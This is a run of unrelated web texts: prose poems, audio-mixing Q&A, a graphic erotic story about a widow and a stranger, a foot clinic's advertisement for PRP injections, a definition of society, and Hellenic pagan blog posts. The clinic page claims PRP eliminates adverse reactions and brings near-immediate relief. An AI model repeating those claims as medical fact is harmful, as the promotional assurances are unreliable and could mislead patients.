Color stains its once pure complexion. Paint runs down in avid undulation, testing the terrain in mild consideration. A new stark reality is created. Within this parallel universe there exists just one thing, art. Creativity reigns supreme ruler of the painted lands.
Anything, truly anything I say, bursts with possibility. Endless opportunities only create more opportunities, more possibilities, more and more and more until there lies nothing but open space. Ceaseless fields growing the sweetest grass, the most deliciously aromatic flora, and the most robust of all the fauna.
Within this world of painted lands, abstract skies and rueful roses, there always rests a simple girl with painted hands, abstract ideas, and rueful woes. She always muses under a shawl of daisies, kneeling atop a mat of lilies, holding betwixt thumb and finger a dandelion. Her eyes are always downcast and glistening, consistently lost within her own mind, stumbling through memories and thoughts, her hand holding a teddy of regret.
Bright yellows and blues wash over this fantasy land, adding new depth and deceit over the original complexity. Artists often misjudge their work, becoming their worst critic and eventually their worst enemy.
The lands have changed oh so serenely, the skies are brighter, the clouds fuller, the grass greener, and the girl serener. The flowers bend and sway in the imaginary breeze, the trees dance and rustle just like any other old tree, and the girl appears so happy in her field of misery, so happy it must be what she wishes us to see. But still I wonder:
What lies beneath the surface of sincerity? And even deeper beneath complexity? Beneath simplicity? Even then, once nose to nose with that stark white canvas, what lies beneath that? Beneath the very basic of basic? Beneath our very cores. What lies beneath my core?
Imagination running wild, the scent of you inside that shower driving me crazy, dreaming about walking in, dominate and wild, stripping as I do, climbing in with you. Press you back against the moistened wall, kiss you full and hard, kiss you like you’re mine. Take you. Take you till you know nothing else.
But questions plague my mind. Do you wish to be alone? I hear the music serenading the air, and I wonder, do you wish a moment alone? What would you do if I crept in, high on tip toes, to wrap my arms around you, both of us wet and hot, the steam swirling around our braced bodies, the water raining down like a new day. What would you do? What would you say? What would you think?
I wonder often of what you think. All the things you do not say. I fear emotional distress, torment of such a higher level, agony beyond repair. I fear this pain because I know only you could destroy me. Take years for my heart to manifest again.
Do I really need a heart?
I feel so much with you. Just a simple touch, a casual glance, and I am wanton for you. My heart becomes the aria of some magnificent performance with you. My arms turn to wings and my feet cease contact with earth.
All the pain in the world is worth one moment with you. I want you always. In all ways.
Hell’s Well
Tunneled beneath living surface, acres beneath the gentle breeze, accustomed to damp and dark associated with such steepness. Quiet sloshing, splashing upon restless feet create unique music filling the deafening silence. Small specks of reflected light beckon and taunt upon the water’s surface, winking up at deadened eyes defiantly. The cool temperature of the malicious liquid tickles toes and licks soles teasingly. Hands grapple and grasp blindly for support, anything real and warm to forfeit this awful sport. Roughened walls, grainy and tough in texture, claw back in anger at being awakened from their rock slumber. Redness wells up atop the surface of abandoned hands, welps and gashes ensue with more vigorous reaches, pure desperation to escape into a world of light, warmth, air, and life. Tears escape from barracaded vessals, leaking from tightened dams, overflowing every cavernous prison in existence as the pressure, the pain, the denial grows too strong. Hair disshelveled, matted, and ruined, insects clinging to the dirt clad strands, climbing each one as a ladder of sorts, reaching the tangled heap of curls above a sunken skull.
“Why me?!”
Shouts fill the void, shouts ricochete from enclave to enclave, from border to barrier. Shouts awaken animals dwelling deep within the rock, curled under their wings of death and talons of fury, resting for their time to slice into warm flesh and blood. Shouts echoing to and fro birth a new malicious sound, a cry from another world, a last breath noise sending chills down even the Devil’s spine. Animals encroach, Hell’s demons drawing nearer, their fangs glisten and drip in anticipation of a new wonderous savory temptation. Their eyes glint and gleam, reflecting the light shining back from the pool, teasing in more ways than one, recognizing the hope just above, just beyond hand or foot, and harnessing that as a weapon, mocking in those last heartfelt moments.
Surrounded by damp and dark, moonstruck gazing above, fervently wishing to be up there, even just a moment with fresh air. Animals snarling, growling near, soon they shall clean bones bare.
WAIT! There! Just a flash of wing, a hint of hope, a tip of the chin, and a wink of the eye. What thing would come at a time like this? Just leave this hair to the bugs, this flesh to the demons, and this soul to the Devil. Let me lie in this quarry until I am not more than dust, a silly reminder of all that could have been. Save your own tortured soul and let mine rot. But no, still the phantom draws nearer, and nearer, and nearer, almost as if floating down upon the moon’s rays, drifting down upon trasnparent cord, all the while brown orbs lock worn and tattered feet into the ground.
A hand, outstretched, solid and firm, reaching for bloodied tips against stained rock. Water sloshes louder as demons tip toe further in, waiting to pounce if I should take that hand. Still the hand awaits my ultimate choice, stay and rot in filth and bile, or rise above upon an Angel’s hand.
My hand never touched that Angel’s palm, so soft and gentle as a baby’s smile. But my heart pounced clean from my chest, nestled deep within her soul. Wings sprouted forth from my tender back, emitting loud shrieks of agony with joyful cries of glee. She taught me to fly, taught me to survive, she rescued me from those demons in Hell’s Well.
She rescued me from myself.
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by Bruce Bartlett
Hey Bruce, how have you been? I have a quick question: When separating instruments in the mix, does it sound better to have them slightly overlap or make sure that the frequency ranges are separated completely? Thanks –Nick Papps
Hi Nick,
Each instrument produces a wide range of fundamental frequencies and harmonics. All the frequencies that an instrument makes, and their relative levels, are called the spectrum of the instrument.
It’s impossible to separate the spectra of the instruments completely because each instrument covers a wide range of frequencies. So there always has to be some overlap. For example, a bass guitar produces frequencies from about 41 Hz to 10 kHz including its harmonics. That doesn’t mean you should filter out everything below 10 kHz in the guitars so they don’t overlap the bass guitar’s spectrum. The idea is to reduce the bass a little in the guitars to leave more space for the bass guitar. You might reduce the upper mids or highs in an acoustic guitar slightly so the vocal can be heard clearly, filter out highs above 4 kHz in electric guitars so they don’t cover up the cymbals and tom attacks, and so on.
As another example, if you took all the mids and highs out of the bass guitar so that they don’t mask other instruments, the bass guitar would lose its clarity and definition. The EQ needed to reduce masking is only about 3 to 6 dB in most cases, but you have to go by ear.
It’s not a good idea to solo each instrument and EQ it to sound good by itself. You need to equalize it in context with the other instruments, because each instrument masks others and affects how each instrument sounds. That also affects the EQ you need to apply.
When you solo an instrument, a good use for EQ is a highpass (low-cut) filter. Filter out frequencies below the lowest fundamental frequency that the instrument produces. Here’s one way to do that: Start with a highpass filter set to a Q of 1.7 and a frequency of 40 Hz. While playing the track, gradually raise the filter frequency until the sound starts to thin out, then back off a little. Filtering out the deep lows on each instrument and vocal reduces breath pops, low-frequency leakage, and rumble from traffic and air conditioning.
Good luck, Nick!
Hey Bruce, in your book you mention how to thicken up lead vocals a bit. If I understand correctly, you say record a second track and make the volume slightly lower than the first. Am I supposed to record a second take, or should I just duplicate the first pass? Also, are there any other good tricks to do to lead vocals? Thanks — Nick Papps
Hey Nick,
To thicken the vocals, usually you record a second take. This is called “doubling the vocal”. It sounds less mechanical than duplicating the first pass and sliding the second pass about 25 milliseconds earlier or later than the first pass. Pan both tracks to center. In Heavy Metal productions, it’s common to double the rhythm guitar, and pan the two parts all the way left and right.
John Lennon asked his recording engineers if they could double his vocals electronically. They did it with a tape recorder and called it “ADT” for “Automatic Double Tracking.” You hear it on John’s vocal in “I am the Walrus”. You can create the same effect with a DAW using the time-sliding method.
A similar effect is called “Chorus”. A chorus stomp-box or plug-in delays the incoming signal about 15-30 milliseconds, adds it to the original signal, and varies the delay. The chorus effect varies its own delay; you don’t need another plug-in to do that. It sounds less mechanical than combining a vocal with its delayed replica using a constant delay time.
The most popular vocal effect is reverberation, which simulates room acoustics. Set the reverb time to about 0.5 second to simulate a small room, or about 1.6 seconds to simulate a concert hall. Or just leave the vocal dry (without reverb), as in “One Hand In My Pocket.” Contemporary recordings tend to be drier than 1980’s recordings. Fast tempo songs usually sound best with shorter reverb times.
A popular vocal effect for rockabilly or rock ‘n’ roll genres is slap echo or slap-back echo. It’s a single echo with the delay set to about 130-150 milliseconds. It sounds better if you turn down the high frequencies in the delayed signal. You can hear slap echo in Lennon’s vocal in “A Day in the Life” and “Instant Karma”, and in most songs by Creedence Clearwater Revival.
A slow repeating echo (delay time about 500 msec and some feedback to make the echo repeat), mixed very quietly under the vocal, can be effective for slow ballads. Set the delay time so that the echo repetitions match the tempo of the song.
Compressing the vocals is very common to keep their volume more constant. For starters, try a 3:1 ratio, 20 msec attack time and 250 msec release time. Gradually turn down the threshold until the gain reduction is about 6 dB. (Of course, these suggestions do not apply to all songs). One vintage compressor plug-in that sounds great is the dbx 160. Vocal compression is used almost always with rock. For folk music, use gain riding (volume envelope automation) instead because it sounds more natural.
If the singer’s “s” sounds (sibilant sounds) are excessive, use a multiband compressor set to compress only the band from 5 kHz to 20 kHz, where the sibilant frequencies are. Try a 1 msec attack time, 200 msec release time, and 5:1 compression ratio. Gradually turn down the threshold until the amount of sibilance sounds good to you.
Have fun,
Bruce Bartlett is a recording engineer and microphone engineer ( He is the author of Practical Recording Techniques 6th Edition and Recording Music On Location. Please send Bruce your recording questions via
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Wish You Were Here
Nights are the hardest. Especially here in this godforsaken town where anonymity is only a dream, and the pitying looks are inescapable. I would get used to the emptiness that occupied the other half of the king size bed, but that wouldn’t happen tonight.
Tonight I wanted nothing but Him. My body cried out for Him. My lips ached for His kiss. I could feel my lips beginning to separate as the fleshy pearl beneath them grew with want. Absentmindedly, I reached between my thighs wishing it were His hands giving me much needed relief, but nothing was enough. Satisfaction eluded me and my need grew unrestrained.
I turned to my phone, hoping for an article or a cute picture to distract me. The unfamiliar app icon that had recently appeared taunted me with its promises of instant romance. I wanted no part of whatever that meant. But maybe… A thought had occurred to me, one I dared not speak out loud. Even to the empty space around me.
My cunt ached to be filled, if not with Him then with something. Something hard, warm, alive, that would fuck me with abandon. Something that would take me past the breaking point and provide clarity for even just a moment.
I launched the app. To its credit, it required only enough presence of mind to select “yes” or “no” to the endless queue of faces that appeared before me. The exaggerated icons after each judgment reminded me of the historic spectator participation in the Roman gladiator games. I had to admit it was, if nothing else, entertaining.
And there He was.
Well, not Him. But at a glance, they could be easily mistaken for one another.
His first message was polite, but brief. Perhaps this wasn’t such a terrible idea? I responded in kind, giving away nothing while being graciously engaging.
His quick suggestion to arrange dinner plans gave me pause, I wondered if he was the right choice for my obscene plan. It was of no consequence either way, so I opted for a blunt proposition. To my surprise, and his, he obliged without hesitation.
In person, the similarities were even more striking. Emotion threatened to overrule my intentions, but I’d become quite skilled at quelling their voice. I reached up and touched his face, my fingers remembering His texture beneath them.
No pleasantries were exchanged. We had already agreed to omit compulsory preliminaries. Instead, I was meeting Him as if it were the first and the last time.
“Sit down.” I instructed, wanting to take the lead by serving Him in just the way He had enjoyed so many times. I circled behind him, stroking his shoulders with one hand as I did so. With his back facing me, I removed my top and let my breasts find their familiar resting place against his neck. He relaxed against them and my hands wandered down his chest. I nuzzled him, gently delivering kisses that turned slowly more heated. I drew his skin into my mouth, allowing a soft suction against my teeth that brought his blood to the surface and stirred his secret senses.
My hands traveled to his belt and began unveiling the prize beneath. I could feel his bulge growing, begging to be unleashed. I reveled in the control I had already gained over the body of this stranger. I stroked him gently outside the fabric, making him squirm under my touch.
At last his member was freed. Proudly erect and already releasing the clear precum that belied its want. I walked slowly around to face him, breasts bare and nipples erect in anticipation. He reached up and took one in his palm, caressing the full bosom with borrowed affection. Just as He always did, he caught the nipple between his fingers and pulled until my knees threatened to buckle.
I lifted my skirt, straddled his thighs and let the fabric conceal the union. Before fully lowering myself, I coated the tip of his member with my glaze and let him paint my folds with the moisture. I could feel him throb beneath me, and my hole grow slightly deeper, yawning with want. I danced that way, moving my hips across his thighs so that no more than the head of his penis was fully inside me. His breath came now in husky gasps as he nursed hungrily at my breasts. His fingers dug into my back, drawing me into him, conveying his need to be wholly inside me.
Just before I worried he would overpower me, I stood, letting my skirt fall to a puddle on the floor. I knelt on the pile of fabric and tugged on his jeans, signaling him to let me remove them. Before his cock touched my lips, I noticed the trail of juices that dripped down into the crease of his thigh. I followed the trail with my tongue while he looked on. With just he barest hint of lips and teeth I grazed up the side of his shaft. At the summit I held his tip between my lips and let the saliva build inside them.
He moaned in agonizing pleasure when I took him entirely in my mouth. He just barely grazed the back of my throat, giving me the leeway I needed to let him fuck my mouth. He stood then, as if he had read my thoughts. I leaned back on my heels and peered up at him. The loving way he grasped my head was in perfect contrast with the aggressive fucking of my throat. Tears formed involuntarily as my nearly non existent gag reflex was provoked. The watery filter revealed a spectacle that was identical to the one I held in fond memory. It was His cock I was worshipping again, His body I was coaxing pleasure from.
And then I couldn’t take it any longer. I needed Him inside me. I climbed up on the chair, my knees to the back and my ankles beneath me. I hugged the back and raised my hips so that they met his. My wet hole presented herself to him and he knew exactly what to do. With a single motion he filled my cunt and fucked me as if years had passed since his last chance. I came immediately, adding even more moisture to the mixture. The juices ran down my thighs and I sneaked a hand between them to steal a taste.
He fucked me harder. Mercilessly. Fueled rather than abated by my orgasm. I cried out and then quickly bit my lip, not wanting to provide the stranger any hint of satisfaction beyond what my pussy had already communicated. I closed my eyes and saw His face, the telltale look of relief when He spilled Himself inside me. A stream of fluid spurted from my cunt and onto the stranger. I felt him try and withhold his orgasm. He drew my hips tightly into his, immobile. I rocked mine back and forth as if driven by an invisible force and I felt him shudder.
He grabbed hold of my thighs, tighter now than before, and emptied himself into me. He fell against me then, completely spent. Our bodies savored the brief reunion and all at once illusion gave way to reality. I closed my eyes, letting myself revel in the quickly fading sensations and gathering my composure. I felt His lips graze the back of my right shoulder for the last time. It was our sacred ritual, He always kissed me there after we made love.
When I opened my eyes the stranger was gone and I was alone again in the house. But this time, I would sleep through the night knowing we had finally said goodbye.
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global_01_local_1_shard_00001926_processed.jsonl/49452
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Platelet Rich Plasma Injections
You get up in the morning or after just resting for a period of time and that first step sends a message of pain directly to your brain. Your heel and the bottom of your foot burns despite all types of conservative treatments. You still do not want to explore the surgical option. What heel pain treatment is left to help render you free of discomfort? The answer may be platelet rich plasma or PRP injections.
Growth factors like the Platelet Derived Growth Factor (PDGF) are an essential part of the body’s healing process. Damaged cells can produce collagen proteins that stimulate an inflammatory process. Your own platelets are the first cells to arrive at the injured site and release growth factors which start the healing process. This is followed by leukocytes (white blood cells) which also release growth factors. The white cells then start clearing the site of debris and the healing process proceeds.
Platelets found in blood are a very rich source of growth factors and it has been found that using the patient’s own blood, by isolating, concentrating and activating the platelets along with white cells and injecting this into the area of pain can reduce inflammation. Many studies have found that platelet rich plasma helps in the healing process by concentrating the growth factors in a specific area. Because the materials used in the treatment are derived from the patient’s own body, the chance of adverse drug reactions is eliminated, making the process safe.
At Livingston Foot Care Specialists, the doctors have remarkable success using this therapy to treat resistant heel pain caused by bursitis, fasciitis and or heel spurs as well at Tendonitis and other inflammatory conditions. Patients are able to resume their normal activities quickly and experience pain relief almost immediately after treatment. PRP injections are a viable alternative to surgical intervention for chronic heel pain, Tendonitis, bursitis and fasciitis without requiring a long post-operative recovery period.
Athlete’s Foot, also known as tinea pedis, is a skin disease caused by a foot fungus that usually occurs between the toes. The fungus attacks the feet because shoes create a warm, dark, and humid environment that encourages fungus growth. Warm, damp areas around swimming pools, showers, and locker rooms, are also breeding grounds for fungi.
Symptoms of Athlete’s Foot include drying skin, itching, scaling, inflammation, and blisters on and between the toes. This condition can spread to the soles of the feet and to the toenails as well as other parts of the body, which is why timely Athlete’s Foot treatment is so important.
You can prevent Athlete’s Foot by:
• Reducing foot perspiration by using talcum powder.
• Wearing light and airy shoes.
Livingston Foot Care attracts the highest quality podiatrists in the country. Our board certified, experienced doctors are well versed in all aspects of podiatry and podiatric surgery and medicine which is the backbone of our total foot care center. We fix any array of foot problems for our patients with care as though they are part of our family.
Book an Appointment Today
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so·ci·e·ty | A society is a group of people involved in persistent social interaction, or a large social group sharing the same geographical or social territory, typically subject to the same political authority and dominant cultural expectations. Societies are characterized by patterns of relationships (social relations) between individuals who share a distinctive culture and institutions; a given society may be described as the sum total of such relationships among its constituent of members. In the social sciences, a larger society often evinces stratification or dominance patterns in subgroups. Insofar as it is collaborative, a society can enable its members to benefit in ways that would not otherwise be possible on an individual basis; both individual and social (common) benefits can thus be distinguished, or in many cases found to overlap. It can also consist of like-minded people governed by their own norms and values within a dominant, larger society. This is sometimes referred to as a subculture, a term used extensively within criminology. More broadly, and especially within structuralist thought, a society may be illustrated as an economic, social, industrial or cultural infrastructure, made up of, yet distinct from, a varied collection of individuals. In this regard society can mean the objective relationships people have with the material world and with other people, rather than “other people” beyond the individual and their familiar social environment. – Wikipedia
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PBP: G is for Goddesses, Gods, Generation, Goats and Grain
I decided to get a jump start on this early in the week in case I forgot about it Friday, and really also because this is inspired partially by a conversation I had recently. I know the title is a bit of a mouth-full but all of these ideas shall be present in the post.
First off, I love my religion as it is populated with a number of gracious goddesses and kindly gods. There is never a lack for a divine being for whatever the situation may be or for any function within nature. That said, I can appreciate too that there is no literal creator god in the Hellenic religion (as in a divine being who created all the cosmos outside of it). Rather the gods and goddesses are part of the cosmos. This of course resolves any problem of trying to determine if the cosmos were created by some elusive divine mother, or by a divine father. And really I have issues with the very idea of a singular creator outside of the cosmos, because regardless of which way it goes it is going to be misogynistic and utterly related to nature, and as I firmly believe that the gods are part of nature and what we see physically in nature reflects the divine, I have issue with this idea that EITHER a father God or a mother Goddess can be an omnipresent creator. Now conversely within Hinduism you have a unified expression of a kind of Mother-Father divinity by way of creator pairs that are as one (Brahma-Saraswati, Vishnu-Lakshmi, Shiva-Parvati/Sakti). They are one together. Saivism has that Shiva/Siva as predominant and yet Sakti is a part of him, and they are one together. Shaktism is in reverse, in which Shiva is part of Sakti. They are together, both god and goddess and procreative function of the cosmos. Such as the symbolism of the drum of Siva in which the two parts of the drum represent the male and female which together create. This is not unlike the division of the Olympians equally among females and males creating specific pairs of unified function. Most obvious being Zeus-Hera as a marital unity, and Apollon-Artemis expressed as a twinning unity. There are some philosophical traditions that even suggest that Zeus and Hera are the same as Apollon and Artemis on a different level, and that this follows to Persephone and Dionysos at another level again. I am still unsure how I feel about this, but I am just putting it out there.
This is not say that there aren’t different kinds of creation that can be done solo, or even among being of the same sex. I do not want to indicate that all forms of creation are necessary between a goddess and a god. However, procreative creation of life is. There are very few instances where you see a god create by themselves, and usually it is not by themselves in the strictest sense. Athena is born from the head of Zeus and is called motherless, and yet she was conceived in the womb of Metis whom Zeus swallowed, following which the gut of Zeus (rather like the gut of Kronos), fathered Athena and she burst from his skull. But Zeus did not conceive her on his own, he just bore her on his own. In contrast we have Hera who out of anger at Zeus over the birth of Athena concealed herself away to birth Hephaistos alone. Now there is some interpretation that this conception was done solely of herself, but we also have Hephaistos called the son of Zeus in many variations. A clue may be given in which the myth is expanded upon by the Romans that Flora aided Hera in the secret in how to conceive by herself. Now flowers (that which is in the domain of Flora), although they cannot fertilize themselves) procreate asexually. Pollen is transferred, without any sexual contact or form of union by a third party between blossoms (in the form often of bees or butterflies etc). Therefore what we likely see with Hera’s conception of Hephaistos is the goddess conceiving of the god in a manner not unlike artificial insemination. Zeus fathered Hephaistos, but the conception was not born of union between Zeus and Hera in their marital bed, but apart. Hephaistos was so closely identified with Zeus by some regions that we find in Arkadia that Hephaistos is called the Warish Zeus. A somewhat related myth would be the conception of Cecrops who was conceived when the semen of Hephaistos spurted and landed on the thigh of Athena as she was evading him, which she thus wiped to the earth from which Cecrops was born. Here we have a more complicated imagery though because we have the fertilization occuring between the figures of Hephaistos and Athena, but Athena remains without child because the earth itself served as the womb (though she looked after Cecrops with what I would say is nearly maternal attention).
This procreative generation between male and female occurs through the most potent symbolism of fertility, maternity and paternity. Particular if we consider the cultic importance of the he-goat and she-goat (and also the bull and the cow alternatively). The identification of Demeter with Europa who was conceived by the bull Zeus speaks to this. As do many instances in which we find gods inclined towards fertility and nurture associated with these. Demeter, Aphrodite, and Hera are all associated to varying degrees with cows, as Poseidon, Zeus, Apollon and Dionysos for instance are linked in varying degrees with bulls. Likewise we have Artemis (the great nurse), Apollon, and Pan associated with goats, and the nursing of the infant Zeus by the goat Almathea.
The fact of the matter one would be very hard pressed to find any historical reference to an ancient religion in which you have a lone deity which procreates solely of him or herself. At least not until the Abrahamic religions. As such goddess spirituality typically just reverses the mode of the Ambrahamic religions, to make them goddess-centric instead. Therein you have a goddess who bears the cosmos of and by herself, and then conceives herself (and in some slightly more polytheistic trends..an actual separate daughter). Sometimes you will also find her conceiving a son as well, though this seems to be an optional variation. I have nothing against people who want to have this world view, it just feels strange to me when it is approached using the Hellenic gods. Demeter (who is often used as a model in this spirituality) did not conceive of Persephone of herself alone, she was conceived by Zeus (who incidentally I hate being referred to by goddess spiritualists as a PIE sky god, he is not the sky, his domain is aether, the fluid energy which surrounds every living thing, the falls in rain to fertilize the ground and collides and snaps in lightning in a storm). Nor did she rear Persephone, who is symbolized by the wheat ear, without the participation of any gods for Apollon’s domain of light nurturers the wheat to maturity and for this purpose he is called the god who brings the golden harvest from Hyperborea. The gods and goddesses are working together in a unified whole, not apart from each other. Sometimes goddesses with other goddesses for certain things, and gods with other gods, but always they are in tandem together, and especially among the goddesses and gods together to bring about the creation of life. I can’t even agree with statements that say that god is both female and male because god has no biological gender, but is called mother because she bears forth new life. This seems to be a conflict in ideas in which on one hand gods and goddesses are genderless, but yet it concepts of a creator deity is a mother goddess because she bears forth new life. This concept argues against itself in my opinion because you can’t be without gender and have an identity based off a biological sex activity. Well you can, but not without conflict of reason. I can accept that gods and goddess create by their unification with each other, because I do ascribe to divine gender and therefore I recognize that both are important for creation that is reflective in nature, including Mother Goddesses (such as Leto, Rhea, Demeter etc), as these are balanced out with Father Gods. Whereas they don’t have biological bodies and such urges, they do have functions of their domains which correspond on a symbolic level of female and male functions, goddess and god. Just a bit more expansive.
And then you have Selene, but I believe that she is called male and female in her orphic hymn is attributed more to the fact that she takes on the light of her brother Helios in order to shine (something that was recognized by the ancient Hellenes). Therefore she is filled with male essence which she radiates even as she is female. Rather being both male and female in the literal sense and still being functionally a goddess in every sense.
PBP: E is for Everyday Rites
So I realized that accidentally messed my alphabet up and did H out of order with the rest. So if you are confused, that is what happened. And so you wont’ see an H post later because you already got it 😛
The idea for E is entirely cribbed from a blog I follow, here, because I thought it was a pretty awesome idea for the E entry.
Despite how much noise we all tend to make about major festivals and occasions, the real heart of the religious experience lies in the oikos, and what we do on a daily basis. Now I follow a fairly rigorous domestic calendar which breaks down to honoring different gods on different days, but in this post I am going to set that aside and focus on the things that I literally do *every day*.
Because I bathe the night before (not only because I get up so early for work, but also because living in an subarctic environment going to work with wet hair is..well..crunchy to say the least) it cuts down on what I have to do after first rising. I take care of my personal hygiene things right away and will include washing my hands and face, and washing off my legs and feet with a damp cloth. Depending on how crunched I am for time (such as if I stayed up too late the night before which resulted in hitting snooze on my alarm for an hour) I will change directly into my work clothes. However, if I have time and got up early enough I will dress in a clean kaftan. Thus clean I will light incense on the household altar for all the gods of the household and all the Olympians in general. I then progress to light incense on each of the major shrines of the household, most particularly at my largest shrine dedicated to Apollon. Of course this means that the air is pretty heavy with incense, and the smoke is clinging to me pretty well too since i am amid all of it. Typically at the shrines and altar I just make a general prayer for the blessings of the gods upon the household for the day, but at the shrines by the door way for Hermes, Artemis, Hekate and Apollon I specifically ask them for their protection of the house and to draw prosperity and good fortune within of the course of the day (the former is particularly directed to Apollon and Artemis, and the latter to Hermes).
I only ask for it during the period of the day as it is a daily ritual it isn’t necessary to go really long term. And in any case it doesn’t seem very classy to give an offering once and expect the gods to take care of you and yours with no further worship paid except when the mood strikes. Therefore every day I renew my offerings and renew my prayers. In the evening I do the opposite, following my shower, by thanking them for their blessings throughout the day, and thanking the gods of the doorways particularly. In each case my daily ritual tends to consist of a simple offering of incense and lit candles, although I do occasionally give libations of liquids such as pure water and sometimes coffee to those gods that seem to appreciate it. In any case it is done twice a day, and sometimes I will visit my shrine to Apollon a third time if I come home during the midday for my lunch break. Whenever I come home I simply place incense on the shrines of the doorway gods to honor them for my homecoming as a small thanksgiving and acknowledgement of my passage through their doors. This doesn’t include impromptu offerings and expression of devotion to Apollon whose shrine I most regularly frequent during the course of the day. As can be seen in the above picture, I can feel inspired to visit his shrine at any time of the day or night. The picture above was taken around 11pm.
Typically most of my prayers also tend to impromptu for daily rituals. I only break out the composed verses and traditional hymns when I am doing full ritual for some special occasion, or if I am feeling particularly motivated to do so. But usually I just go with what inspiration is bubbling up inside and compose something on the spot from the heart to honor and greet my gods.
PBP: H is for Heroes
I will be the first to confess I don’t give a great deal of personal attention to heroes, despite the fact that in Hellenic religion hero cults were fairly popular. Once in a great while I will give a nod to Herakles, and I do observe some of the major Athenian festivals focused on Theseus. But most of the big name heroes I don’t do much for on a personal level. This is to say I don’t have favorites, but those heroes I admire don’t always result in regular cultus being paid to them.
A significant part of the problem may be because I don’t feel any relativity of the heroes in my daily life. I can appreciate the spiritual allegories served in many of their myths (for which I have taken part in some of the major festivities), but on a personal level there lacks a connection. It was different of course if it is a local hero. I imagine that in ancient Hellas the heroes of one’s city state were nearly seen as ancestrial figures because they were so positively connected to one’s homeland. Therefore there was a premade condition of connection with the hero based on geography. For those of us living outside of Hellas this can be problematic. Of course there are heroes like Herakles who were widespread Heroes and took part in many city-states over the course of his myths. In fact, Herakles of all the heroes is the one who really got around and is therefore perhaps the most tangible to worshipers of various backgrounds, and tends to be one hero was more or less universally appreciated throughout Hellas. Another widespread hero, or rather pair of heroes, at least through the Peloponnese, were the Dioskouri, who served not only as protective household gods of the roof, but also important civic heroes.
Now among heroes it seems that we have different classes, and what kind of hero they were likely played a great part in how they were honored. On one hand you have heroes who do great deeds, such as Persues (a personal favorite), Jason (another big time personal favorite), Bellerophon, Achilles, Herakles, Theseus, Atalanta, Cadmus, Triptolemus, Crecrops, Sarpedon etc. Then you have the (usually prematurely slain) children of the gods, many of whom were beneficial in some fashion to mankind either before or after the death: Local mythical city founders are a big one, such as Delphus, but then you also have heroes such as Achilles (again), Asklepios, Orpheus, Teneros, Trophonios, Aristaios etc . And then there are the souls who are loved by the gods and are immortalized, usually either after being kidnapped to dwell with the gods or the souls carried up among the gods followin death: Endymion, Kyrene, Hyakinthos, Ganymedes, Adonis etc
I would have to say that other than my less regular observances for my favorite heroes, perhaps the most regularly honored heroes in my household are Kyrene and Hyakinthos, and three sons of Apollon (Trophonios, Asklepios and Aristaios). Although I have been thinking of honoring Jason more regularly as well if can figure out just how I want to do it and how regularly I wish to do it. As well as what benefit could be understood from honoring Jason….because each hero often has a different cultic focus depending on the hero. Sometimes it is just a sense of cultural kinship as in the case of Ion for the Athenians, and Hyakinthos for the Spartans. Other times it is very specific purpose of honoring, such as for Asklepios being petitioned for healing, or Trophonios as an ocular divine hero. And other times, such as my purpose for honoring Kyrene, it is symbolic of some tie to a specific god and a connection you are nurturing with them by additionally giving honor to that hero or heroine.
So there is an importance to giving reverence to heroes, and it is something that is often overlooked. Something I am quite guilty of myself to be honest.
PBP: G is for “godspousery”
While I don’t care for the term godspouse, it is perhaps one of the most well known terms to describe the mystic relationship that develops between the soul of a human and the god the soul belongs to. Plato describes the act of Eros on the soul, and myth often shows Eros (or Aphrodite) acting to play the matchmaker between human souls and the gods. Of course most of this is regarded as nothing more than mythic generation of heroes etc, but these myths also serve as an important spiritual dialogue to our souls to take root with the love inspired in the soul. Ten years ago when I first started down this path in my relationship with Apollon, you could throw a rock and be quite unlikely to ever come close to hitting another godspouse. Now I am feeling inclined to write on this subject for my pagan blog project entry rather than what I had previously planned just because there has been instances coming up recently in which emotions have run high over misinformation regarding godspousery and assumptions that have been made. Therefore I am hoping that this post will clear some of those things up. These are in no particular order of importance, and I may miss a few points, as I am certain that there are many more which are relevant. If I missed something please feel free to add another point to the comments section.
1. Misconception: Godspousery is a new pagan fad indulged in by young women (usually in their 20s) engaged in without much consideration or forethought towards the consequences of jumping into that kind of relationship with a god.
Answer: While it is true that there are a number of new godspouses on the scene who fit that bill, there are many folks out there who have been around and have had such a relationship established successfully for a number of years. Among them there are many instances where it is seldom jumped into but has a kind of “courtship” phase before deciding on taking on that kind of relationship and level of devotion. Nor are all godspouses even women. Which leads me to point 2.
2. Misconception: That all godspouses are women engaged in a bridal relationship with a male god.
Answer: Nope. In fact there are men who engage in this relationship with male gods, and with goddesses, and women who engage with this relationship with goddesses even as there are women who engage in it with gods. When I say women and men here I mean for it include heterosexual, homosexuals, transgenders et al. Despite what the current most vocal majority is, godspousery has no sexual or age prerequisites. It is a calling of the soul, an attraction inspired by Eros between the soul and the god. Right now there appears to be a majority of godspousery showing up among cis-gender women, but that perception may very well be skewed by how many folks are silent on the subject. Many men seem to be more reluctant to talk about it publically.
3. Misconception: All godspouses are of a Nordic or Heathen religious tradition.
Answer: This perception may again have to do with the vocal majority, as it may *appear* that is most common with Odin and Loki, but it is not altogether accurate. I have met individuals who are godspouses to gods from various pantheons of gods. Myself included obviously.
4. Misconception: There is absolutely no historic basis for godspousery.
Answer: This is kinda of a tricky statement, because history is not always quite that detailed. Setting aside the myths (in which as I noted above many such situations arise), you do have instances in which mortals were considered brides of gods. From a Hellenic perspective, the initiation imagery of women for the mysteries of Dionysos have a distinctive bridal imagery to them with Dionysos and Ariadne looking on. Likewise the Pythia was widely considered the bride of Apollon, and literature seems to indicate similar concepts of the sybils. Virgil’s Aeneid certainly suggests a very intimate relationship between the Sybil at Cumae and her god. Of course whether these kind of personal relationships were common outside of these very prominent cult settings we will likely never know, although great devotion of love to a gods seems dubious that it was uncommon, else how sympathetic and tragic would have the death of Hippolytes been without the understanding of his love of Artemis and his preference of her company and scorn of entering into marriage. Or the rise of Plato’s philosophy in regards to addressing the subject of the soul’s attraction and love towards the god to which she belongs (soul typically represented in the feminine form symbolically). So it very well may have not have been unheard of, but likely not common either. However, in modern times I have heard that there are cases in which girls take a bridal relationship to gods in Hinduism, and there is a lot of marital symbolism in Hinduism with the concept of the soul’s union with god, especially it seems with the textual material dealing with Krishna. In another direction, a book on Santeria showed beautiful pictures of a room in which a devote gave to his lwa wife (I probably got the term lwa wrong, I often confuse the terminology between Voodoo and Santeria). There are also suggestions in history of kings entering into marital pacts with powerful goddesses in some northern regions….how much of that is true though I can only hazard to guess.
5. Misconception: Making the decision to be a godspouse means that you are agreeing to being enslaved by that god/dess into his/her service.
